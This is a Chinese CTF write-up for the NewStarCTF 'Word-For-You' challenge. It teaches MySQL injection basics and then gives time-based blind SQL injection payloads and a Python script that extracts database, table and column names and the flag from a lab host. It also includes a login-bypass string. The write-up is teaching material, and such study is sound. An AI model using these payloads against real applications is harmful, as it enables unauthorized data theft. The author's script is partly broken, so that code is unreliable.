[NewStarCTF] Word-For-You

基础知识补充

在开启题目前,先来点知识补充吧,我猜大家很多都是跟我一样的手工注入的菜鸟吧

mysql简单基本用法

1)查库:select schema_name from information_schema.schemata;
2) 查表:select table_name from information_schema.tables where table_schema='security';
3)查列:select column_name from information_schema.columns where table_name='users';
4) 查字段:select username,password from security.users;

注释符号

1)--+
2)--    --后面有一个空格
3)#

limit:

SELECT * FROM users WHERE id='3'' LIMIT 0,1
limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。

单引号判断

$id参数左右有数字型(无)、单引号、双引号、括号等方式组成闭合;

最为经典的单引号判断法: 在参数后面加上单引号,比如:

  http://xxx/abc.php?id=1'

  如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

order by

order by n:通过第n列进行排序,默认升序。
用来判断表中的数据有多少列,用二分法进行测试。

Mysql函数

1) SYSTEM_USER()	返回当前用户;	SELECT SYSTEM_USER();
2) USER()	返回当前用户		SELECT USER();
3) CURRENT_USER()	返回当前用户		SELECT CURRENT_USER();
4) DATABASE()	返回当前数据库名	SELECT DATABASE();  
5) VERSION()	返回数据库的版本号	SELECT VERSION();
6) @@datadir	返回mysql安装路径		SELECT @@DATADIR;
7) @@version_compile_os		返回当前操作系统	SELECT @@version_compile_os;
8)  GROUP_CONCAT()		将所有的数据拼接后作为一行进行显示
9) CONCAT_WS('~',A,B)	以A~B的形式将数据显示出来
10) left()函数:  left(database(),1)=‘s’            left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
11) regexp函数:  select user() regexp ‘r’          user()的结果是root,regexp为匹配root的正则表达式
12) like函数:    select user() like ‘ro%’          匹配与regexp相似。
13) substr(a,b,c)   select substr() XXXX           substr(a,b,c)从位置b开始,截取a字符串c位长度
14) ascii()  								       将某个字符串转化为ascii值  
15) chr(数字)   或者是ord(‘字母’)    使用python中的两个函数可以判断当前的ascii值是多少

参考:[(97条消息) mysql之group_concat函数详解_Garfield_cat_cat的博客-CSDN博客_group_concat()](

开启题目

在这里插入图片描述

已经提示flag放在了数据库中,所以不用多想直接找注入点。点击链接进入
在这里插入图片描述

既然提示我们输入NewCTFer,那我们就输入看看
在这里插入图片描述
没有什么东西,只是链接变了。
那我们点击留言,然后查看,发现疑似注入点的地方
在这里插入图片描述
那我们就测试一些,发现无论怎么判断都不会有错误回显,尝试用时间盲注试试。
在这里插入图片描述
在这里插入图片描述

与正常的对比,发现确实存在时间盲注,那么这个时候就有很多方法了。

第一种方法

要是不嫌麻烦,想锻炼一些自己,那就直接手工注入(推荐新手用手工的方法,能加深印象),由于我刚接触手工注入不久,所以为了更快熟练掌握这些sql语句,我是手工注入的。直接贴payload,感兴趣的可以试试

1.判断数据库长度

判断数据库长度:?name=2' and if((length(database())=3),sleep(5),0)--+

2.爆数据库名称

第一种:爆数据库名称:1' and if(left((select database()),3)='wfy',sleep(2),0) --+
第二种:爆数据库的方法?name=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 3,1),2,1)) =102,sleep(2),0)--+		#可以判断有多少个数据库
第三种:?name=1' and if(ascii(substr((select database()),1,1))=119,sleep(2),0)--+ 

得到数据库:wfy

3.爆表

1)判断表的个数:?name=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'wfy' limit 2,1),1,1)) >1,sleep(2),0)--+ 			#修改limit n,1得值判断出有3个表
2)判断表名长度:?name=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'wfy' limit 0,1),9,1)) >1,sleep(2),0)--+ 			#修改substr(x,n,1) n得值判断长度

得到三个表:wfy_admin, wfy_comments, wfy_information

4.爆列

?name=1' and if(ascii(substr((select column_name from information_schema.columns where table_name = 'wfy_admin'  limit 0,1),2,1))=100,sleep(2),0)--+		

wfy_admin: | Id | cookie | password | username |
wfy_comments:| id | name | text | user | display |
wfy_information:|header | title

5.爆数据

要用like再wfy_comments的列text进行模糊查询,%flag%查出id=100,然后反向查询

?name=1' and if(ascii(substr((select id from wfy.wfy_comments where text like '%flag%' limit 0,1),8,1))=45,sleep(2),0)--+

?name=1' and if(ascii(substr((select text from wfy.wfy_comments where id=100 limit 0,1),8,1))=45,sleep(2),0)--+

由于我是刚接触手工注入不久,这个手工注入的方法我搞了挺久的,因为一直出错误,心态炸裂了好几次,要不是我之前用 sqlmap 先爆出了数据库、表名和列名,我更加会奔溃。大家也可以先用sqlmap把一些数据跑出来,然后再手工注入。因为这可以验证你的手工注入是否正确,或者将你的sql语句在mysql命令行下面运行寻找错误。而且因为sqlmap不能爆出数据,所以flag要自己搞出来。最重要的是幸亏我学过sql,想到用like进行模糊查询。说实话,我刚开始是尝试用user,username,name=”Mr.H“进行查询的发现什么都找不到,后面突然想到用like查询flag。还是题目见少了,反应的太慢了。

第二种

也就是类似第一种,sqlmap+手工,这里不多说

第三种

用时间盲注脚本跑数据,数据库,表名,列名都可以跑出来,最后的数据还是需要自己用手工的方法先把flag的id找出来,然后再爆出id值所对应的数据,本来尝试用脚本跑id的但是出了错误,然后就不了了之了。先贴脚本在分析一下出现的问题吧。

# coding:utf-8
import requests
import datetime
import time

# 获取数据库名长度


def database_len():
    for i in range(1, 10):
        url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php"
        payload = "?name=1' and if(length(database())>%s,sleep(1),0) --+" % i
        # print(url+payload+'%23')
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            print(i)
        else:
            print(i)
            break
    print('database_len:', i)

#获取数据库名
def database_name():
    name = ''
    for j in range(1,9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php"
            payload = "?name=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
            #print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=3:
                name += i
                print(name)
                break
    print('database_name:', name)

def table_names():          #这里没必要先判断表的个数,因为x-->limit %d,1。对应这第几个数据库,直接暴力破解
    for x in range(0,10):
        name = ''
        for y in range(1,20):
            for z in '0123456789abcdefghijklmnopqrstuvwxyz_':
                url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php"            #url
                payload = "?name=1' and if((substr((select table_name from information_schema.tables\
                 where table_schema = 'wfy' limit %d,1),%d,1))='%s',sleep(3),0)--+" %(x,y,z)         #table_schema='数据库名'
                time1 = datetime.datetime.now()
                r = requests.get(url + payload)
                time2 = datetime.datetime.now()
                sec = (time2 - time1).seconds
                if sec >=3:
                    name += z
                    print(name)
                    break
        print('table_name:', name)
    

def column_names():
    for x in range(0,10):
        name = ''
        for y in range(1,20):
            for z in '0123456789abcdefghijklmnopqrstuvwxyz_':
                url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php"            #url
                payload = "?name=1' and if((substr((select column_name from information_schema.columns \
                where table_name = 'wfy_comments' limit %d,1),%d,1))='%s',sleep(3),0)--+" %(x,y,z)         #table_schema='表名'
                time1 = datetime.datetime.now()
                r = requests.get(url + payload)
                time2 = datetime.datetime.now()
                sec = (time2 - time1).seconds
                if sec >=3:
                    name += z
                    print(name)
                    break
        print("column_name:", name)

#def id_values():     
    ids = ''  
    for x in range(1,100):
        for y in range(100):       
            url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php"            #url
            payload ="?name=1' and if(ascii(substr((select id from wfy.wfy_comments where text like('flag%')) limit 0,1),%d,1))='%d',sleep(5),0)--+" %(x,y)         
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=3:
                ids += chr(y)
                print(ids)
                break
    print(ids)
#这里出错了不能把id搞出来
 
def data():     #这里有点怪,要不就是有{}没大写,要不就是有{}没大写,搞不懂,可能是字符的原因,换ascii值比较应该可以
    flags = ''  #要是不加上{}这两个字符,字母大小就是正常显示的真的奇怪。
    for x in range(1,100):
        for y in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPKRSTUVWXYZ":     #'{' ,'}' ,'_'  
            url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php"            #url
            payload = "?name=1' and if((substr((select text from wfy.wfy_comments \
            where id=100 limit 0,1),%d,1))='%s',sleep(5),0)--+" %(x,y)         #table_schema='表名'
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=3:
                flags += y
                print(flags)
                break
    print(flags)

# 这个数据爆的还是有一点小问题,不知道是靶场的问题还是什么,但是我之前手工注入就把flag正确的搞出来了,用脚本还出了点问题
# ,就是大小写的问题,真的不知道怎么搞得

# def data():     #换成ascii比较也不行,真的有点奇怪,和我之前手工注入的不同,个别字母大小写出了问题
#     flags = ''
#     for x in range(1,100):
#         for y in range(128):       
#             url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php"            #url
#             payload = "?name=1' and if(ascii(substr((select text from wfy.wfy_comments \
#             where id=100 limit 0,1),%d,1))='%d',sleep(5),0)--+" %(x,y)         #table_schema='表名'
#             time1 = datetime.datetime.now()
#             r = requests.get(url + payload)
#             time2 = datetime.datetime.now()
#             sec = (time2 - time1).seconds
#             if sec >=3:
#                 flags += chr(y)
#                 print(flags)
#                 break
#     print(flags)
if __name__ == '__main__':
    # database_name()       #数据库名
    table_names()         #表名
    # column_names()        #列明
    # id_values()           #列中的id值,由于这个题目的原因所以需要先查询id,id值还是需要手工来搞,用脚本好像有点问题,得不偿失
    # data()                  #数据,flag


这里面出了挺多问题的,但是问题不是很大,因为用脚本跑的时候总会漏掉一些单词,不知道怎么回事我感觉我的脚本写的也没什么问题,但是就是会漏一些单词,很奇怪。尤其是最后爆flag的时候,大小写一直出错误,要是不再字符串中加入’{’ ,‘}’,字符串的大小写与flag的差不多,但是加了’{’ ,'}'之后全变成小写了。有没有大佬能解释一下呀,我猜是靶场的问题,不知道是不是。希望碰到大佬能解惑。贴几张错误的结果图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

总结:

这也是我自己第一次独立用手工写出的注入题目,纪念一下。说实话这个题目真的把我搞崩溃了好几次,因为就在sqli-labs上跟着视频学了几天,对于我这个小白来说还是有点困难的。而且就算我知道是用时间盲注来搞,我也在网上查阅了很多时间盲注的一些知识。而且在进行手工注入的时候sql语句老是出问题,因为开题目之后我又用sqlmap先跑,然后再手工注入,靶场老是崩掉,人都麻了。还是想知道我这个脚本是出问题了还是怎么了,我试过用ascii值比较,还是不能正确爆出flag,也会出现大小写错误的情况。还是推荐先使用sqlmap将相关的数据爆出来(我是使用bp+sqlmap来爆破的)。望大佬解惑,为什么会出现大小写错误的情况。

补充:

后面看一些大佬的wp发现直接用万能密码就直接搞出来 1’ or 1=1 or ‘1,经验还是太少了呀。但是好歹学到了时间盲注这个点,继续加油。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值